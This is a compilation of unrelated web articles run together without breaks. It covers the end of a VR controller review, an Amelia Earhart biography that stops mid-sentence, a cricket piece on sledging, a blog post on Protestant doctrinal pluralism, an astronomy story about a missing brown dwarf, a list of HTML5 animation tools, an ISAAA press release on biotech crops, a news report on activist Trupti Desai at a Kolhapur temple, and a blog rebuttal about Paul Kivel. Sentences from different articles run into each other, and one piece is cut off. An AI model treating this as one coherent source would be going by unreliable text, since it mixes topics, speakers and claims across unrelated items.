Overall I came away impressed with the Magnum’s performance, especially considering its cost. It will be very interesting to see how performance continues to improve as OpenCV advances and as even better consumer cameras become available. So long as calibration is handled with little user intervention, the Trinity Magnum could be the value option for VR input. Integration with the Oculus Rift DK2’s IR camera would certainly be a big plus to those that already own the headset.
Full Disclosure: TrinityVR is running Magnum ads on Road to VR.Amelia Earhart (July 24, 1897, disappeared July 2, 1937), fondly known as "Lady Lindy," was an American aviator who mysteriously disappeared in 1937 while trying to circumnavigate the globe from the equator. Earhart was the 16th woman to be issued a pilot's license. She had several notable flights, including becoming the first woman to fly across the Atlantic Ocean in 1928 as well as the first person to fly over both the Atlantic and Pacific. Earhart was legally declared dead in 1939.
What Happened to Amelia Earhart?
On July 2, 1937, the plane that Amelia Earhart was flying with her navigator Fred Noonan disappeared somewhere near Howland Island in the Pacific Ocean. The pair had been trying to fly around the world from the equator and were on the most challenging leg of their trip, from Lae, New Guinea, to the tiny Howland Island, 2,556 miles away.
ADVERTISEMENT Thanks for watching! Visit Website
When the Itasca, the U.S. Coast Guard vessel stationed off Howland Island with whom Earhart and Noonan had been in periodic radio contact, realized that they had lost contact, they began an immediate search. Despite the efforts of 66 aircraft and nine ships — an estimated $4 million rescue authorized by President Franklin D. Roosevelt — the fate of the two flyers remained a mystery. The official search ended on July 18th, 1937, but George Putnam, Earhart’s husband, financed additional search efforts, working off tips of naval experts and even psychics in an attempt to find his wife. In October 1937, he acknowledged that any chance of Earhart and Noonan surviving was gone. On January 5, 1939, Amelia Earhart was declared legally dead by the Superior Court in Los Angeles.
ADVERTISEMENT Thanks for watching! Visit Website
ADVERTISEMENT Thanks for watching! Visit Website
Since her disappearance, several theories have formed regarding Earhart's last days, many of which have been connected to various artifacts that have been found on Pacific islands. Two seem to have the greatest credibility. One is that the plane that Earhart and Noonan were flying was ditched or crashed, and the two perished at sea. Several aviation and navigation experts support this theory, concluding that the outcome of the last leg of the flight came down to "poor planning, worse execution." Investigations concluded that the Electra aircraft was not fully fueled, and couldn't have made it to Howland Island even if conditions were ideal. The fact that there were so many issues creating difficulties lead investigators to the conclusion that the plane simply ran out of fuel some 35 to 100 miles off the coast of Howland Island.
Another theory is that Earhart and Noonan might have flown without radio transmission for some time after their last radio signal, landing at uninhabited Nikumaroro reef, a tiny island in the Pacific Ocean 350 miles southeast of Howland Island. This island is where they would ultimately die. This theory is based on several on-site investigations that have turned up artifacts such as improvised tools, bits of clothing, an aluminum panel, and a piece of Plexiglas the exact width and curvature of an Electra window. In May 2012, investigators found a jar of freckle cream on a remote island in the South Pacific, in proximity to their other findings, that many investigators believe belonged to Earhart.
Other less credible theories are that Earhart was on a spy mission to the Marshall Islands authorized by President Roosevelt and was captured by Japanese troops. This theory extended to claiming that Earhart was forced to broadcast to American GIs as "Tokyo Rose" during World War II. And one other theory claims she purposely crashed the plane into the Pacific on a suicide run.
Was Amelia Earhart Found?
Although Amelia Earhart has never been officially found, in the years since her disappearance several investigations have claimed to have uncovered evidence of Earhart and her plane.
Amelia Earhart Photo and Amelia Earhart: The Lost Evidence
Amelia Earhart: The Lost Evidence was an investigative special on HISTORY that aired in July 2017 exploring the significance of a photograph discovered by a retired federal agent in the National Archives. The photograph, which surfaced another theory about Earhart’s disappearance, was supposedly taken by a spy on Jaluit Island and has been found to be unaltered. A facial-recognition expert interviewed in the HISTORY special believes that a woman and man in the photo are good matches for Earhart and Noonan (a male figure has a hairline like Noonan's). In addition, a ship is seen towing an object that aligns with the measurements of Earhart's plane. The claim is if Earhart and Noonan landed there, the Japanese ship Koshu Maru was in the area and could have taken them and the plane to Jaluit before bringing them, as prisoners, to Saipan.
Some experts have questioned this theory. Earhart expert Richard Gillespie, who leads The International Group for Historic Aircraft Recovery (TIGHAR), told The Guardian that the photo was “silly.” TIGHAR, which has been investigating Earhart’s disappearance since the 1980s, believes that, running out of fuel, Earhart and Noonan landed on Nikumaroro’s reef and lived as castaways before dying on the atoll. According to another article in The Guardian, in July 2017 a Japanese military blogger found the same photo in a Japanese-language travelogue archived in Japan’s national library, and the picture was published in 1935 — two years before Earhart’s disappearance. The communications director of the National Archives told NPR that the archives doesn’t know the date of the photograph or the photographer.
Plane
In October 2014, it was reported that researchers at TIGHAR found a 19 inch by 23 inch scrap of metal on Nikumaroro’s reef that the group identified as a fragment of Earhart’s plane. The piece was found in 1991 in a small, uninhabited island in the southwestern Pacific.
Bones
In July 2017, a team of four forensic bone-sniffing dogs with TIGHAR and the National Geographic Society claim to have found the spot where Amelia Earhart may have died, according to National Geographic. In 1940, a British official reported finding human bones beneath a ren tree. Future expeditions found potential signs of an American female castaway, including campfire remains and a woman’s compact. The TIGHAR team says all four of their dogs alerted investigators of human remains near a ren tree and sent samples of the soil to a lab in Germany for DNA analysis.
In 2018, anthropologist Richard Jantz announced the results of a study in which he reexamined the original forensic analysis of the bones discovered in 1940. The original analysis determined the bones to possibly be from a short, stocky European male, but Jantz noted that the scientific techniques used at the time were still being developed.
After comparing the bone measurements to data from 2,776 other people from the time period, and studying photos of Earhart and her clothing measurements, Jantz concluded that there was a likely match. "This analysis reveals that Earhart is more similar to the Nikumaroro bones than 99 percent of individuals in a large reference sample," he said. "This strongly supports the conclusion that the Nikumaroro bones belonged to Amelia Earhart."
Radio Signals
Complementing the results of the bone analysis, in July 2018 TIGHAR executive director Richard Gillespie released a report built around years of analysis of radio distress signals sent by Earhart in the days after her disappearance.
Hypothesizing that Earhart and Noonan came down on Nikumaroro reef, the only place large enough to land a plane in the vicinity, Gillespie studied tide patterns and determined that the distress signals corresponded with the reef's low tides, the only time Earhart could run the plane's engine without fear of flooding.
Furthermore, various citizens documented the reception of messages from Earhart via radio, their accounts corroborated by publications from the time. On July 4, two days after the crash, a San Francisco resident heard a voice from the radio saying, "Still alive. Better hurry. Tell husband all right." Three says later, someone in eastern Canada picked up the message, "Can you read me? Can you read me? This is Amelia Earhart … please come in," believed to be the final verifiable transmission from the pilot.
Earhart's Disappearance
Amelia Earhart’s attempt to be the first person to circumnavigate the earth around the equator ultimately resulted in her disappearance on July 2, 1937. Earhart purchased a Lockheed Electra L-10E plane and pulled together a top-rated crew of three men: Captain Harry Manning, Fred Noonan, and Paul Mantz. Manning, who had been the captain of the President Roosevelt, which brought Earhart back from Europe in 1928, would become Earhart's first navigator. Noonan, who had vast experience in both marine and flight navigation, was to be the second navigator. Mantz, a Hollywood stunt pilot, was chosen to be Earhart's technical advisor.
The original plan was to take off from Oakland, California, and fly west to Hawaii. From there, the group would fly across the Pacific Ocean to Australia. Then they would cross the sub-continent of India, on to Africa, then to Florida, and back to California.
On March 17, 1937, they took off from Oakland on the first leg. They experienced some periodic problems flying across the Pacific and landed in Hawaii for some repairs at the United States Navy's Field on Ford Island in Pearl Harbor. After three days, the Electra began its takeoff, but something went wrong. Earhart lost control and looped the plane on the runway. How this happened is still the subject of some controversy. Several witnesses, including an Associated Press journalist, said they saw a tire blow. Other sources, including Paul Mantz, indicated it was pilot error. Though no one was seriously hurt, the plane was severely damaged and had to be shipped back to California for extensive repairs.
In the interim, Earhart and Putnam secured additional funding for a new flight. The stress of the delay and the grueling fund-raising appearances left Amelia exhausted. By the time the plane was repaired, weather patterns and global wind changes required alterations to the flight plan. This time Earhart and her crew would fly east. Captain Harry Manning would not join the team, due to previous commitments. Paul Mantz was also absent, reportedly due to a contract dispute.
After flying from Oakland to Miami, Florida, Earhart and Noonan took off on June 1st from Miami with much fanfare and publicity. The plane flew toward Central and South America, turning east for Africa. From there, the plane crossed the Indian Ocean and finally touched down in Lae, New Guinea, on June 29, 1937. About 22,000 miles of the journey had been completed. The remaining 7,000 miles would take place over the Pacific.
In Lae, Earhart contracted dysentery that lasted for days. While she recuperated, several necessary adjustments were made to the plane. Extra amounts of fuel were stowed on board. The parachutes were packed away, for there would be no need for them while flying along the vast and desolate Pacific Ocean.
The flyer's plan was to head to Howland Island, 2,556 miles away, situated between Hawaii and Australia. A flat sliver of land 6,500 feet long, 1,600 feet wide, and no more than 20 ft. above the ocean waves, the island would be hard to distinguish from the similar looking cloud shapes. To meet this challenge, Earhart and Noonan had an elaborate plan with several contingencies. Celestial navigation would be used to track their route and keep them on course. In case of overcast skies, they had radio communication with a U.S. Coast Guard vessel, Itasca, stationed off Howland Island. They could also use their maps, compass, and the position of the rising sun to make an educated guess in finding their position relative to Howland Island. After aligning themselves with Howland's correct latitude, they would run north and south looking for the island and the smoke plume to be sent up by the Itasca. They even had emergency plans to ditch the plane if need be, believing the empty fuel tanks would give the plane some buoyancy, as well as time to get into their small inflatable raft to wait for rescue.
Earhart and Noonan set out from Lae on July 2, 1937, at 12:30 PM, heading east toward Howland Island. Though the flyers seemed to have a well thought-out plan, several early decisions led to grave consequences later on. Radio equipment with shorter wavelength frequencies were left behind, presumably to allow more room for fuel canisters. This equipment could broadcast radio signals farther distances. Due to inadequate quantities of high-octane fuel, the Electra carried about 1,000 gallons — 50 gallons short of full capacity.
The Electra's crew ran into difficulty almost from the start. Witnesses to the July 2 take off reported that a radio antenna may have been damaged. It is also believed that, due to the extensive overcast conditions, Noonan might have had extreme difficulty with celestial navigation. If that weren't enough, it was later discovered that the flyers were using maps that may have been inaccurate. According to experts, evidence shows that the charts used by Noonan and Earhart placed Howland Island nearly six miles off its actual position.
These circumstances led to a series of problems that couldn't be solved. As Earhart and Noonan reached the supposed position of Howland Island, they maneuvered into their north and south tracking route to find the island. They looked for visual and auditory signals from the Itasca, but for various reasons radio communication was very poor that day. There was also confusion between Earhart and the Itasca over which frequencies to use, and a misunderstanding as to the agreed upon check-in time; the flyers were operating on Greenwich Civil Time and the Itasca was operating on the naval time zone, which set their schedules 30 minutes apart.
On the morning of July 3, 1937, at 7:20 AM, Amelia reported her position, placing the Electra on course at 20 miles southwest of the Nukumanu Islands. At 7:42 AM, the Itasca picked up this message from the Earhart: "We must be on you, but we cannot see you. Fuel is running low. Been unable to reach you by radio. We are flying at 1,000 feet." The ship replied but there was no indication that Earhart heard this. The flyers' last communication was at 8:43 AM. Though the transmission was marked as "questionable," it is believed Earhart and Noonan thought they were running along the north, south line. However, Noonan's chart of Howland's position was off by five nautical miles. The Itasca released its oil burners in an attempt to signal the flyers, but they apparently did not see it. In all likelihood, their tanks ran out of fuel and they had to ditch at sea.
When and Where Was Amelia Earhart Born?
Amelia Earhart was born on July 24, 1897 in Atchison, Kansas, in America's heartland.
Earhart’s Husband
On February 7, 1931, Amelia Earhart married George Putnam, the publisher of her autobiography, in his mother's home in Connecticut. Putnam had already published several writings by Charles Lindbergh when he saw Earhart's 1928 transatlantic flight as a bestselling story with Amelia as the star. Putnam, who was married to Crayola heiress Dorothy Binney Putnam, invited Earhart to move into their Connecticut home to work on her book.
Amelia Earhart became close friends with Dorothy Putnam, but rumors surfaced about an affair between Earhart and George Putnam, who both insisted the early part of their relationship was strictly professional. Unhappy in her marriage, Dorothy was also having an affair with her son's tutor, according to Whistled Like a Bird, a book about Dorothy Putnam by her granddaughter Sally Putnam Chapman. The Putnams divorced in 1929. Soon after their split, George Putnam actively pursued Earhart, asking her to marry him on several occasions. Earhart declined, but the couple eventually married in 1931. On the day of their wedding, Earhart wrote a letter to Putnam telling him, "I want you to understand I shall not hold you to any medieval code of faithfulness to me nor shall I consider myself bound to you similarly."
Family, Early Life and Education
Earhart spent much of her early childhood in the upper-middle class household of her maternal grandparents. Amelia's mother, Amelia "Amy" Otis, married a man who showed much promise but was never able to break the bonds of alcohol. Edwin Earhart was on a constant search to establish his career and put the family on a firm financial foundation. When the situation got bad, Amy would shuttle Amelia and her sister Muriel to their grandparents' home. There they sought out adventures, exploring the neighborhood, climbing trees, hunting for rats, and taking breathtaking rides on Amelia's sled.
Even after the family was reunited when Amelia was 10, Edwin constantly struggled to find and maintain gainful employment. This caused the family to move around, and Amelia attended several different schools. She showed early aptitude in school for science and sports, though it was difficult to do well academically and make friends.
In 1915, Amy separated once again from her husband, and moved Amelia and her sister to Chicago to live with friends. While there, Amelia attended Hyde Park High School, where she excelled in chemistry. Her father's inability to be the provider for the family led Amelia to become independent and not rely on someone else to "take care" of her.
After graduation, Amelia Earhart spent a Christmas vacation visiting her sister in Toronto, Canada. After seeing wounded soldiers returning from World War I, she volunteered as a nurse's aide for the Red Cross. Earhart came to know many wounded pilots. She developed a strong admiration for aviators, spending much of her free time watching the Royal Flying Corps practicing at the airfield nearby. In 1919, Earhart enrolled in medical studies at Columbia University. She quit a year later to be with her parents, who had reunited in California.
Learning to Fly and Early Career
At a Long Beach air show in 1920, Amelia Earhart took a plane ride that transformed her life. It was only 10 minutes, but when she landed she knew she had to learn to fly. Working at a variety of jobs, from photographer to truck driver, she earned enough money to take flying lessons from pioneer female aviator Anita "Neta" Snook. Earhart immersed herself in learning to fly. She read everything she could find on flying, and spent much of her time at the airfield. She cropped her hair short, in the style of other women aviators. Worried what the other, more experienced pilots might think of her, she even slept in her new leather jacket for three nights to give it a more "worn" look.
In the summer of 1921, Earhart purchased a second-hand Kinner Airster biplane painted bright yellow. She nicknamed it "The Canary," and set out to make a name for herself in aviation.
On October 22, 1922, Amelia Earhart flew her plane to 14,000 feet—the world altitude record for female pilots. On May 15, 1923, Earhart became the 16th woman to be issued a pilot's license by the world governing body for aeronautics, The Federation Aeronautique.
Throughout this period, the Earhart family lived mostly on an inheritance from Amy's mother's estate. Amy administered the funds but, by 1924, the money had run out. With no immediate prospects of making a living flying, Amelia Earhart sold her plane. Following her parents' divorce, she and her mother set out on a trip across the country starting in California and ending up in Boston. In 1925 she again enrolled in Columbia University, but was forced to abandon her studies due to limited finances. Earhart found employment first as a teacher, then as a social worker.
Earhart gradually got back into aviation in 1927, becoming a member of the American Aeronautical Society's Boston chapter. She also invested a small amount of money in the Dennison Airport in Massachusetts, acted as a sales representative for Kinner airplanes in the Boston area. As she wrote articles promoting flying in the local newspaper, she began to develop a following as a local celebrity.
First Transatlantic Flight as a Passenger
After Charles Lindbergh's solo flight from New York to Paris in May 1927, interest grew for having a woman fly across the Atlantic. In April 1928, Amelia Earhart received a phone call from Captain Hilton H. Railey, a pilot and publicity man, asking her, "Would you like to fly the Atlantic?" In a heartbeat she said "yes." She traveled to New York to be interviewed, and met with project coordinators, including publisher George P. Putnam. Soon she was selected |
what you said it was what you did, so your performance wasn't dictated by your mouth.
"I'm probably contradicting myself and my captaincy style because there were a couple of occasions where I did open my big mouth. The reason I did that with James Anderson was to stick up for George Bailey and the Dale Steyn one was sticking up for James Pattinson as well. But I shouldn't have said a word, in both situations there was no need for me to say anything."
Clarke noted that numerous players from past eras were particularly talkative on the field because it is what worked for them, not because they felt compelled to do so out of some idealised image of the Australian cricketer. "I think you need to do what's comfortable to you," he said. "The team I grew up playing in that Australian team, they had Steve Waugh, Matthew Hayden, Shane Warne, these guys liked and enjoyed that verbal competition.
"That helped them perform. So if that helps you, as long as you don't overstep that mark, then go for your life. There's a number of players around the world that enjoy that. I remember Kevin Pietersen loved that challenge against Mitchell Johnson or Shane Warne, whomever it was.
"So if it helps your game, do it, but I don't think you should force it. I think that'd be like me trying to bat like Ricky Ponting. The guys have got to work out what they feel is best for them individually and as a team and go for it. But if it doesn't suit your personality then I wouldn't try to be someone I'm not."
Michael Clarke on his altercation with James Anderson during the 2013 Ashes: "I shouldn't have said a word." Getty Images
Haddin expressed the view that teams could make life uncomfortable for opponents without resorting to verbal abuse. Areas like aggressive fielding, running between the wickets and banter among team-mates - sometimes referred to as "talking across" the batsmen - could have the same effect without becoming a distraction from the primary goal - to win the game.
"I don't think it's about what you say on the field," Haddin said. "The best Australian teams I've been a part of have been able to create an uncomfortable environment for the opposition with your body language, your movements around the game, and creating an atmosphere with each other where the opposition feels like they're the only two people out there, or he [the batsman] feels like he's stuck out there by himself.
"It's the environment you're trying to create with your presence. That can be having the most athletic fielding team so the opposition feels uncomfortable there. It's about creating the environment to make the opposition feel they can't play their best. The best way you can do that is to create an environment where the opposition try to do something they don't normally do.
"Sometimes the best form of that is not to say anything - you wouldn't say anything to a Kevin Pietersen for example because he'd dig his heels in and start taking it personally to hit us all around the park. One of the best things for him was to stay away from him."
Conversely, Haddin felt that talking too much to opponents invariably led to a change in the power dynamic, as the "sledgers" revealed more about their own discomfort than those they were targeting. "Talking too much to the opposition... you've got to earn the right to play the way you want to play," Haddin said.
"Sometimes if you're just focusing on talking and trying to get a reaction it can have a negative effect on your team. The reason you create that uncomfortable environment there is to make the opposition do something they don't want to do. If it starts detracting from what you're trying to do then that's a problem."
Asked to provide an example of a player who struck the right balance, Haddin mentioned Andrew Symonds. "Andrew was one of the best team men I ever played with," he said. "He didn't say a lot to the opposition, but his presence in the covers or when he had the ball he was always up for the contest.
"You knew if Andrew was there, the way he dived in the field and chased, the tempo he set running between the wickets, the opposition could look at him and says 'Hang on, the Australians are up for the fight today' and that then puts doubt in their change room."People who claim to literally interpret the inspired and inerrant Word of God do not agree on what the bible says.Christian Smith calls this "pervasive interpretive pluralism." And this pervasive interpretive pluralism isn't just found among progressives and liberals. It is found among evangelicals and fundamentalists,. Pervasive interpretive pluralism exists among biblical literalists.Which brings us to the problem at the heart of Protestantism.The problem at the heart of Protestantism is that the bible is unable to produce consensus. This isn't a theological claim. This is an empirical fact.Sola scriptura produces pluralism. The "bible alone" creates doctrinal diversity. Biblical literalism proliferates churches.And five-hundred years of Protestantism is Exhibit A.The only way to get a single, unified church, as the Catholics will tell you, isn't the bible. What you need, rather, is a, a teaching authority that says, for everyone, "this is what the bible says."And that's why there is one Catholic church and tens, thousands or tens-of-thousands of Protestant churches (depending upon how you count them).A magisterium gets you one church. A literal reading of the inspired and inerrant Word of God gets you many, many churches.That's a fact with an important moral implication.Which is this: If your are going to accept the burden of being of Protestant, of living with sola scriptura, then you are going to have to learn to welcome doctrinal diversity.If you want to be biblical you're going to have to reconcile yourself to pervasive interpretative pluralism. That's life being biblical. Being biblical requires a fair amount of tolerance for doctrinal diversity. Being biblical means creating a big tent.So if you want to be biblical--if you want to go sola scriptura and drop the magisterium--then, pretending that opening the bible brings everyone to a consensus. Unfortunately, that just doesn't happen. And pretending otherwise just sets you up to be judgemental and condemnatory. It tempts you into using the word "biblical" as a weapon.In the end, if you're going to be biblical you're going to have to learn to be tolerant.--Astronomers are trying to crack a strange new case: the mystery of the missing dwarf star.
Using one of the biggest telescopes in the world, the ESO's Very Large Telescope in Chile, researchers were on the hunt for what they had confidently predicted to be a brown dwarf, only to discover that the object was nowhere to be found.
Brown dwarfs are cool, dim objects that actually resemble planets more than stars. (Related: "Dimmest Stars in Universe Spotted?")
While they do give off heat and have chemical properties similar to those of ordinary stars like our sun, these weird objects are often referred to as "failed stars" because they don't have enough mass to ignite thermonuclear reactions in their cores. (See "Coldest Star Found—No Hotter Than Fresh Coffee.")
In this case, the dwarf in question was thought to be orbiting a double-star system called V471 Tauri in the constellation Taurus, the Bull, about 163 light-years from Earth. The two stars orbit each other every 12 hours, causing dips in the pair's brightness every six hours as one star passes in front of the other.
Quirky Eclipses
When astronomers precisely timed the dips in light created by the stars' orbits, they found that the timing wasn't always quite on schedule. The only explanation seemed to be that an orbiting brown dwarf was gravitationally tugging on the stars, slightly throwing off the timing.
To look for the dwarf, the scientists trained a giant telescope on the binary star system using a powerful new camera system called SPHERE, designed to directly image planets around distant stars.
To their surprise, they saw nothing where the brown dwarf was predicted to be.
That sends astronomers back to the drawing board.
"This is how science works," said Adam Hardy, lead author on the new study published this week in the Astrophysical Journal Letters. "Observations with new technology can either confirm or, as in this case, disprove earlier ideas."
See for Yourself
Though the brown dwarf at the heart of this mystery is missing, its home cluster happens to be one of the brightest and biggest deep-sky objects visible in the night sky.
This scattering of stars is known collectively as the Hyades cluster, named after the mythical Greek sisters who bring the rain.
View Images This sky chart shows the location of the Hyades cluster and its faint member V471 in the constellation of Taurus, which is easy to find thanks to the superbright neighboring Orion constellation. Illustration by A. Fazekas, SkySafari
To see where the missing dwarf was expected to be, look halfway up the southern sky in the early evening for the brilliant orange star Aldebaran. The star marks the red eye of the constellation of Taurus, the Bull. Lining the face of this celestial bovine is the Hyades cluster, a distinctive V-shaped pattern of stars that is easily spotted even from light-polluted city suburbs.
Hyades is one of the closest star clusters to Earth, at 160 light-years away, and spans eight light-years across. Little V471, the double-star system, shines at a feeble 9.6 magnitude and is considered an outlying member of the cluster, off to the west from the main Hyades formation.
Although only nine stars in the cluster are visible to the naked eye, more than 200 can be seen with binoculars. On the next clear, moonless night, see how many Hyades sisters you can glimpse.
Happy hunting!In this post we will be discussing about some of the HTML5 animation tools. HTML5 is a great hit for both developers and designers because it provides a a lot of functionality which helps them to build awesome website. It is popular because it has modern browser support, built in visual elements, drag and drop feature, new video audio and canvas element. These tools will help you to create fantastic HTML5 animations for your website.HTML5Maker is an online animation tool which allows to produce cross-browser animated content such as JavaScript and HTML5 animation, Slideshows, Presentations and Sliders. The animation can be easily integrated into existing website adding a fun or professional look to it.Its a powerful and user friendly website that allows you to animate right in your browser and collaborate with your friends.Using this you can create beautiful HTML5 web content. Interactive web content and animations made with Tumult Hype work on desktops, smartphones and iPads.Gsap animates anything JavaScript can touch and it solves lots of browser inconsistencies, all with blazing speed. Gsap is most flexible high- performance animation library on the planet.NodeFire is a responsive focused HTML5 animator for your website. You just have to create one animation and that animation automatically responds to fit any environment.Mugeda studio is a cloud-based professional environment to create animated and interactive HTML5 contents directly from a browser. Developers can use Mugeda Studio's built-in JavaScript API to create web/hybrid apps fitting a wide range of scenarios.Please Like and Share the CodingDefined.com Blog, if you find it interesting and helpful.ISAAA Brief 52-2016: Press Release
Biotech/GM Crops Surge to a New Peak of 185.1 Million Hectares in 2016
Global Area Rebounds from 2015 as Farmers Continue to Adopt Biotech Crops
Beijing (May 4, 2017) – Today, the International Service for the Acquisition of Agri-biotech Applications (ISAAA) released its annual report showcasing the 110-fold increase in adoption rate of biotech crops globally in just 21 years of commercialization – growing from 1.7 million hectares in 1996 to 185.1 million hectares in 2016. ISAAA’s report, “Global Status of Commercialized Biotech/GM Crops: 2016,” continues to demonstrate the long-standing benefits of biotech crops for farmers in developing and industrialized countries, as well as consumer benefits of recently approved and commercialized varieties.
“Biotech crops have become a vital agricultural resource for farmers around the world because of the immense benefits for improved productivity and profitability, as well as conservation efforts,” said ISAAA Chair of the Board, Paul S. Teng. “With the commercial approvals and plantings of new varieties of biotech potatoes and apples, consumers will begin to enjoy direct benefits of biotechnology with produce that is not likely to spoil or be damaged, which in turn has the potential to substantially reduce food waste and consumer grocery costs.”
Examining other benefits of biotechnology, ISAAA reports that the adoption of biotech crops has reduced CO2 emissions equal to removing approximately 12 million cars from the road annually in recent years; conserved biodiversity by saving 19.4 million hectares of land from agriculture in 2015; and decreased the environmental impact with a 19% reduction in herbicide and insecticide use.1 Additionally, in developing countries, planting biotech crops has helped alleviate hunger by increasing the incomes for 18 million small farmers and their families, bringing improved financial stability to more than 65 million people.
“Biotechnology is one of the tools necessary in helping farmers grow more food on less land,” explained ISAAA Global Coordinator Randy Hautea. “However, the promises of biotech crops can only be unlocked if farmers are able to buy and plant these crops, following a scientific approach to regulatory reviews and approvals.”
As more varieties of biotech crops are approved and commercialized for use by farmers, ISAAA expects to see adoption rates continue to climb and to benefit farmers in developing countries. For example, among African nations where regulatory processes have traditionally created barriers to biotech crop adoption rates, advances are being realized. In 2016, South Africa and Sudan increased the planting of biotech maize, soybean and cotton to 2.66 million hectares from 2.29 million hectares in 2015. Elsewhere on the continent, a new wave of acceptance is emerging as Kenya, Malawi, Nigeria, Ethiopia, Ghana, Nigeria, Swaziland and Uganda make advances in regulatory review and commercial approvals for a variety of biotech crops.
“Even with a long history of regulatory barriers, African farmers continue to adopt biotech crops because of the value they are realizing from the stability and productivity of biotech varieties,” said Hautea. “As more countries move forward with regulatory reviews for crops such as bananas, cowpeas and sorghum, we believe biotech crop plantings will continue to grow in Africa and elsewhere.”
Also in 2016, Brazil increased biotech area of maize, soybean, and cotton by a remarkable 11% – maintaining its ranking as the second largest producer of biotech crops after the United States. In Brazil, biotech soybeans account for 32.7 million hectares of the 91.4 million hectares grown worldwide.
For 2016, ISAAA also reports that there were improvements in the commercialization and plantings of biotech fruits and vegetables with direct consumer benefits. These included the commercial approvals of the Innate™ Russet Burbank Gen 2 potatoes that were approved by the U.S. Food and Drug Administration for sale in the United States and the Simplot Gen 1 White Russet™ brand potatoes that were approved by Health Canada for fresh market sale in Canada. These biotech potato varieties have lower levels of asparagine, which reduces the creation of acrylamide during high-heat cooking. Additionally, the first commercially saleable quantities of Arctic® Apples were harvested in 2016, stored over the winter and are projected to be sold in U.S. grocery stores in 2017.
Additional highlights from ISAAA’s 2016 report include:
Global area rebounded in 2016 with 185.1 million hectares of biotech crops versus 179. 7 million hectares 2015, when global area for all crops was down, and 181.5 million hectares in 2014.
In 2016, 26 countries in total, including 19 developing and 7 industrial countries, grew biotech crops. Developing countries grew 54% of biotech crops, compared to 46% for industrial nations.
Eight countries in Asia and the Pacific, including China and India, grew 18.6 million hectare of biotech crops in 2016.
10 countries in Latin America, including Paraguay and Uruguay, grew a combined 80 million hectares of biotech crops in 2016.
In 2016, the leading countries growing biotech crops continued to be represented by the United States, Brazil, Argentina, Canada and India. Combined, these five countries planted 91% of the global biotech crop area.
Four countries in Europe -- Spain, Portugal, Czech Republic, and Slovakia -- grew more than 136,000 hectares of biotech maize in 2016, an increase of 17% from 2015, reflecting EU’s need for insect resistant maize.
Biotech crops with stacked traits accounted for 41% of global area, second only to herbicide tolerance at 47%.
Biotech soybean varieties accounted for 50% of global biotech crop area. Based on global area for individual crops, 78% of soybean, 64% of cotton, 26% of maize and 24% of canola planted in the world were biotech varieties.
Countries with over 90% adoption of biotech soybean are U.S.A, Brazil, Argentina, Canada, South Africa, and Uruguay; close to or over 90% adoption of biotech maize are USA, Brazil, Argentina, Canada, South Africa, and Uruguay; over 90% of biotech cotton are USA, Argentina, India, China, Pakistan, South Africa, Mexico, Australia, and Myanmar; and with 90% or more of biotech canola are USA and Canada.
For more information or the executive summary of the report, visit www.isaaa.org.
1Brookes and Barfoot, 2017, ForthcomingKolhapur: In a high voltage drama, Bhoomata Ranragini Brigade leader Trupti Desai on Wednesday night got engaged in a scuffle inside the famous Mahalaxmi temple here.
Desai, however, managed to get darshan of goddess Mahalaxmi by entering into sanctum sanctorum of the temple despite defying the "dress code" prescribed by police and priests.
Notwithstanding the "advice" given by the police to wear sari inside 'girbh griha' of the temple, the woman activist entered the inner sanctum in salwar kameez though some priests and devotees tried to block her way.
She and her Bhoomata Ranragini Brigade activists were, however, roughed up. Desai was later admitted to a hospital, where her condition is said to be fine.
Talking to news agency ANI today, Desai alleged that people pulled their hair, tore her clothes, and abused them. “I think the attackers planned to kill me,” alleged Desai.
The attackers said `don`t let Trupti Desai get out alive`. The doctor said I could've got a paralysis attack, added Desai. She also said that even the priest was abusing them.
The activist added that Maharashtra Chief Minister Devendra Fadnavis should look into the matter and take action against this.
Meanwhile, the doctor attending to Desai told ANI that the activist had low water intake, low BP and sugar level when she was brought to the hospital. Now, she is conscious and recovering, added the doctor.
Earlier on Wednesday, Desai and other activists were taken into preventive custody by police when they tried to proceed towards the temple in a procession allegedly in violation of prohibitory orders.
Desai headed towards the temple in night after she was detained by police during day time.
She and other activists had organised the 'Vijay' rally in afternoon to mark "victory" for the cause of women who were recently allowed to enter the inner sanctum of the temple in a major departure from the long-standing tradition.
The atmosphere around the temple was tense and shops downed shutters as activists of Shiv Sena and other organisations gathered in the area after Desai insisted to take darshan of the deity, clad in salwar kameez instead of sari, the formal dress code suggested by police and priests.Maybe it’s difficult for Jerry Newcombe (below), a Townhall columnist and producer of Christian TV fare, to come up with things to preach about. If he can’t find a suitable topic to tackle, he may decide to look for the tiniest thread of truth and spin it into a colossal straw man. At least, that’s what he did here.
[Last] month in Philadelphia, there was the 17th annual “White Privilege Conference,” which a friend describes as a “liberal confab devoted to self-abnegation.” One of the speakers, Paul Kivel, blamed Christianity for everything bad in the world. Kivel is the co-founder of the Oakland Men’s Project and founder of “the Challenging Christian Hegemony Project.” So everything bad comes from Christianity?
Newcombe then spends the rest of his column tearing down Kivel in every paragraph as he recounts all the good that Christianity has brought the world, from hospitals to the lightbulb. (Never mind that Thomas Edison was, depending on whom you believe, either an atheist or a skeptical, non-denominational Deist.)
I’d certainly go as far as to say that Christianity, for all the good it does, has led to billions of horrible results, big and small. Triple that when you include Islam, Judaism, and other faiths. We document those outcomes on this site literally every day, so there should be no need to elaborate. But would anyone who’s thoughtful enough to write books on violence prevention and speak at pro-justice conferences literally “blame Christianity for everything bad in the world”? Did Kivel say what Newcombe says he did? The allegation smelled fishy, and Newcombe never bothered to substantiate it with a link or with a direct quote.
So I sent Kivel a quick e-mail. He replied that is perplexed, because he mentioned specifically in his conference speech that he does not hold all of Christianity to account for the world’s evil. So, the exact inverse of what Newcombe alleges. Kivel guesses that
saying something like, … “I am not claiming that Christian hegemony is the root of everything bad in the world or the root of all evil. I am saying that understanding the centrality of Christian dominance to our (U.S.) worldview, dominant values, public and foreign policy and the accumulation of wealth and power provides insight into the interconnections between other systems of oppression such as racism, sexism, Islamophobia and anti-Semitism.”
Kivel says there are no recordings of the speeches and workshops, something that conference organizer Marqita Jones confirmed when I called her. Absent audio or video, I’ll point out that what Kivel wrote to me aligns with public statements he’s made in the past.
In this video, for instance, he explains,
My book is not an attack on Christianity in general, but only on the dominant institutions and practices that come to govern our society. Nor is it an attack on individual Christians, who have a variety of relationships and beliefs and values.
In fact, Kivel is even more balanced than that. At the end of the foreword to the same book, he writes
I learned about Christians who worked for social change and communities that developed alternative Christianities, standing against injustice of all kinds. The last part of this book looks at some of these stories.
I was interested to learn that Newcombe, in his online bio, implies he is big on honesty and veracity; he is, after all, the on-air host for a program called Truth that Transforms.
